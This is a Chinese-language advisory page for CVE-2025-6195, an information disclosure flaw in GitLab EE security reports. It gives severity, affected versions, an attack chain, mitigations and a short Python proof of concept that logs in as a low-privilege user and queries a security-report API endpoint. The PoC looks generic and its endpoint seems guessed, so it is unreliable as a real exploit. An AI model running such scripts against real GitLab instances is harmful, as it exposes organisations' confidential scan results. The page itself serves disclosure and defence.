IPBUF安全漏洞报告
English
CVE-2025-6195 CVSS 4.3 中危

CVE-2025-6195 GitLab EE 安全报告信息泄露漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-6195
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab EE

相关标签

信息泄露GitLab安全报告权限绕过CVE-2025-6195GitLab EE

漏洞概述

CVE-2025-6195是GitLab Enterprise Edition(EE)中的一个信息泄露安全漏洞。该漏洞影响从13.7版本开始到18.4.5之前的所有版本,以及18.5到18.5.3之前和18.6到18.6.1之前的版本。漏洞允许经过身份验证的低权限用户,在特定配置条件下查看安全报告中的敏感信息。攻击者利用此漏洞可以获取本应受到保护的安全扫描结果、漏洞检测数据或其他敏感安全信息,可能导致组织安全态势信息暴露给未授权人员。该漏洞的CVSS评分为4.3,属于中等严重程度,攻击向量为网络形式,认证要求为低权限,无需用户交互即可实施攻击。机密性影响为低,完整性和可用性均无影响。建议受影响的用户尽快升级到最新修复版本以消除安全风险。

技术细节

该漏洞存在于GitLab EE的安全报告访问控制机制中。在特定配置条件下,GitLab的安全报告模块未能正确验证用户的访问权限,导致低权限认证用户能够绕过正常的权限检查,访问到本应仅限高权限用户查看的安全报告数据。安全报告通常包含SAST、DAST等安全扫描结果,其中可能包含代码漏洞详情、敏感信息检测结果等敏感内容。攻击者通过构造特定的API请求或利用特定的项目配置状态,可以触发信息泄露。漏洞的技术根源在于安全报告的权限校验逻辑存在缺陷,未能正确区分不同权限级别用户对安全报告数据的访问权限。建议开发者审查安全报告相关的控制器代码,确保所有端点都实施了正确的授权检查。

攻击链分析

STEP 1
步骤1
攻击者在GitLab上注册账户并获取低权限账号
STEP 2
步骤2
攻击者加入目标项目或获取项目访问权限
STEP 3
步骤3
攻击者识别目标项目处于特定配置状态
STEP 4
步骤4
攻击者构造恶意请求访问安全报告API端点
STEP 5
步骤5
由于权限校验缺陷,攻击者成功获取安全报告敏感信息
STEP 6
步骤6
攻击者利用泄露的安全扫描结果进行进一步攻击或情报收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-6195 PoC - GitLab Security Report Information Disclosure # This PoC demonstrates accessing security reports as a low-privilege user import requests GITLAB_URL = "https://gitlab.example.com" PROJECT_ID = "your-project-id" USERNAME = "low-privilege-user" PASSWORD = "password" def login(): """Authenticate to GitLab and get session token""" session = requests.Session() login_url = f"{GITLAB_URL}/users/sign_in" response = session.get(login_url) # Extract authenticity token token = response.text.split('name="authenticity_token"')[1].split('value="')[1].split('"')[0] # Login login_data = { "authenticity_token": token, "user[login]": USERNAME, "user[password]": PASSWORD } session.post(login_url, data=login_data) return session def access_security_reports(session): """Attempt to access security reports as low-privilege user""" # Try to access security reports endpoint security_report_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/security/reports" response = session.get(security_report_url) if response.status_code == 200: print("[+] Successfully accessed security reports!") print(f"[+] Response: {response.json()}") return True else: print(f"[-] Access denied: {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-6195 PoC - GitLab Security Report Information Disclosure") session = login() access_security_reports(session)

影响范围

GitLab EE 13.7 至 18.4.5之前版本
GitLab EE 18.5 至 18.5.3之前版本
GitLab EE 18.6 至 18.6.1之前版本

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下缓解措施:1)限制用户注册和项目访问权限;2)禁用公开项目的安全报告功能;3)加强对安全报告API端点的访问监控;4)审查并限制低权限用户角色;5)启用GitLab的安全审计日志功能,监控异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表